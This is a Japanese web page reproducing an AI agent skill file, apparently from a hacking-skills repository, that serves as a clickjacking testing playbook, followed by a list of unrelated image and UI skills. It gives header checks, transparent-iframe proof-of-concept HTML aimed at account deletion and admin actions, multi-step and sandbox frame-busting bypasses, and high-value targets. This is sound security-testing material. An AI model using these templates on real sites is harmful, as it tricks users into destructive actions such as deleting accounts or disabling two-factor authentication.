clickjacking
対象ページがiframeで埋め込み可能かどうか、`X-Frame-Options`やCSPの`frame-ancestors`が適切に設定されているか、UIリドレス攻撃によって機密操作が実行されるリスクがあるかを検証する際に使用するClickjackingテストのプレイブック。
description の原文を見る
>- Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.
SKILL.md 本文
SKILL: Clickjacking — エキスパート攻撃プレイブック
AI LOAD INSTRUCTION: Clickjacking (UI redress) 技法。iframe透明化トリック、X-Frame-Optionsバイパス、CSP frame-ancestors、多段階クリックジャッキング、ドラッグ&ドロップ攻撃、および他の脆弱性との組み合わせをカバー。多くの場合「低深刻度」と判定されますが、管理者操作を対象にすると致命的になります。
1. コア概念
クリックジャッキングは、攻撃者のページの上に重ねられた透明なiframeでターゲットページを読み込みます。被害者は攻撃者のUIを見ていますが、実は目に見えないターゲットページをクリックして、意図しない操作を実行させられます。
<style>
iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
.decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style>
<div class="decoy"><button>Click to win a prize!</button></div>
<iframe src="https://target.com/account/delete?confirm=yes"></iframe>
2. 検出 — ページはiframeに対応しているか?
X-Frame-Options ヘッダーの確認
X-Frame-Options: DENY → フレーム化不可(安全)
X-Frame-Options: SAMEORIGIN → 同一オリジンのみフレーム化可(クロスオリジンに対して安全)
X-Frame-Options: ALLOW-FROM uri → 非推奨、ブラウザサポートが不一貫
(ヘッダーなし) → フレーム化可能!(脆弱)
CSP frame-ancestors の確認
Content-Security-Policy: frame-ancestors 'none' → フレーム化不可
Content-Security-Policy: frame-ancestors 'self' → 同一オリジンのみ
Content-Security-Policy: frame-ancestors https://a.com → 特定のオリジンのみ
(ディレクティブなし) → フレーム化可能
最新ブラウザでは CSP frame-ancestors が X-Frame-Options に優先します。
クイック PoC テスト
<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>
ページがiframe内で読み込まれる場合 → フレーム化可能 → 脆弱の可能性あり。
JavaScript フレーム検出(ターゲットページのソースコードより)
// ターゲットページで見られる一般的なフレームバスティングコード:
if (top.location.hostname !== self.location.hostname) {
top.location.href = self.location.href;
}
このコードが存在しても、CSP frame-ancestors を使用していない場合、バイパスされることがよくあります。
3. 概念実証テンプレート
基本的な単一クリック
<html>
<head><title>Free Prize</title></head>
<body>
<h1>Click the button to claim your prize!</h1>
<style>
iframe { position: absolute; top: 300px; left: 60px;
width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
</style>
<iframe src="https://target.com/account/settings?action=delete"></iframe>
</body>
</html>
多段階クリックジャッキング
複数のクリックを必要とするアクション(例:「本当に削除しますか?」確認)の場合:
<div id="step1">
<button onclick="document.getElementById('step1').style.display='none';
document.getElementById('step2').style.display='block';">
Step 1: Click here
</button>
</div>
<div id="step2" style="display:none">
<button>Step 2: Confirm</button>
</div>
<iframe src="https://target.com/admin/action"></iframe>
ステップごとにiframeを再配置して、透明なボタンをデコイと合わせます。
ドラッグ&ドロップ クリックジャッキング
HTML5 ドラッグ&ドロップイベントを使用して、一つのiframeから別のiframeにデータを抽出します。被害者は目に見えないiframe間でドラッグし、トークンやデータが転送されます。
4. バイパステクニック
フレームバスティングスクリプトのバイパス
ページの中には JavaScript フレームバスティングを使用するものがあります:
if (top !== self) { top.location = self.location; }
sandbox 属性でバイパス:
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- sandbox に allow-top-navigation を指定しないとフレームバスティングを防げます -->
X-Frame-Options ALLOW-FROM バイパス
ALLOW-FROM は Chrome/Safari でサポートされていません。サーバーが ALLOW-FROM のみに依存している場合、最新ブラウザはそれを無視します → ページはフレーム化可能です。
ダブルフレーミング
X-Frame-Options: SAMEORIGIN が設定されているが、フレーム化可能な同一オリジンページが存在する場合(XFO なし)、そのページを仲介として使用してターゲットをフレーム化します。
5. 高インパクトターゲット
アカウント削除ページ
メール/パスワード変更フォーム
管理パネルアクション(ユーザー追加、役割変更)
支払い確認
OAuth 認可(「許可」ボタン)
二要素認証の無効化
API キー生成
Webhook 設定
6. テストチェックリスト
□ 機密ページの X-Frame-Options ヘッダーをチェック
□ CSP frame-ancestors ディレクティブをチェック
□ iframe PoC を作成してページが読み込まれることを確認
□ フレームバスティングスクリプトをテスト — sandbox 属性バイパスを試行
□ 高価値な単一クリックアクションを特定
□ 多段階アクション用に多クリック PoC を構築
□ 認証済みおよび未認証ページの両方をテスト
□ ブラウザ間での ALLOW-FROM の動作を確認
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
nano-banana-2
inference.sh CLIを通じてGoogle Gemini 3.1 Flash Image Preview(Nano Banana 2)で画像を生成します。テキストから画像を生成する機能、画像編集、最大14枚の複数画像入力、Google Searchグラウンディング機能に対応しています。トリガーワード:「nano banana 2」「nanobanana 2」「gemini 3.1 flash image」「gemini 3 1 flash image preview」「google image generation」
octocode-slides
洗練されたマルチファイル形式のHTMLプレゼンテーションを生成します。6段階のフロー(概要 → リサーチ → アウトライン → デザイン → 実装 → レビュー)で構成されています。各スライドは独立したHTMLファイルとなり、iframeで読み込まれます。「スライドを作成してほしい」「プレゼンテーションを作ってほしい」「HTMLスライドを生成してほしい」「デックを構築してほしい」といった依頼や、ノート・ドキュメント・コードを洗練されたプレゼンテーションに変換する際に使用できます。
gpt-image2-ppt
OpenAIのgpt-image-2を使用して、視覚的に優れたPPTスライドを生成します。Spatial Glass、Tech Blue、Editorial Monoなど10種類のキュレーション済みスタイルに対応し、ユーザーが提供したPPTXファイルを模倣するテンプレートクローンモードも搭載しています。HTMLビューアと16:9形式のPPTXファイルを出力します。プレゼンテーション、スライド、ピッチデック、投資家向けPPT、雑誌風PPTの作成依頼などで活用してください。
nano-banana
Nano Banana PRO(Gemini 3 Pro Image)およびNano Banana(Gemini 2.5 Flash Image)を使用したAI画像生成機能です。以下の場合に活用できます:(1)テキストプロンプトからの画像生成、(2)既存画像の編集、(3)インフォグラフィックス、ロゴ、商品写真、ステッカーなどのプロフェッショナルなビジュアルアセット制作、(4)複数画像での人物キャラクターの一貫性保持、(5)正確なテキスト描画を含む画像生成、(6)AI生成ビジュアルが必要なあらゆるタスク。「画像を生成」「画像を作成」「写真を作る」「ロゴをデザイン」「インフォグラフィックスを作成」「AI画像」「nano banana」またはその他の画像生成リクエストをトリガーとして機能します。
oiloil-ui-ux-guide
モダンでクリーンなUI/UXガイダンス・レビュースキルです。新機能や既存システム(Webアプリ)に対して、実行可能なUI/UX改善提案、デザイン原則、デザインレビューチェックリストが必要な場合に活用できます。CRAP(コントラスト・反復・配置・近接)をベースに、タスクファーストなUX、情報設計、フィードバック・システムステータス、一貫性、affordances、エラー防止・復旧、認知負荷を重視します。モダンミニマルスタイル(クリーン・余白・タイポグラフィ主導)を強制し、不要なテキストを削減、アイコンとしての絵文字を禁止し、統一されたアイコンセットから直感的で洗練されたアイコンを推奨します。
axiom-hig-ref
Apple Human Interface Guidelines リファレンス — 色(セマンティックカラー、カスタムカラー、パターン)、背景(マテリアル階層、ダイナミック背景)、タイポグラフィ(標準スタイル、カスタムフォント、Dynamic Type)、SF Symbols(レンダリングモード、色、多言語対応)、ダークモード、アクセシビリティ、プラットフォーム固有の考慮事項を網羅したガイドラインです。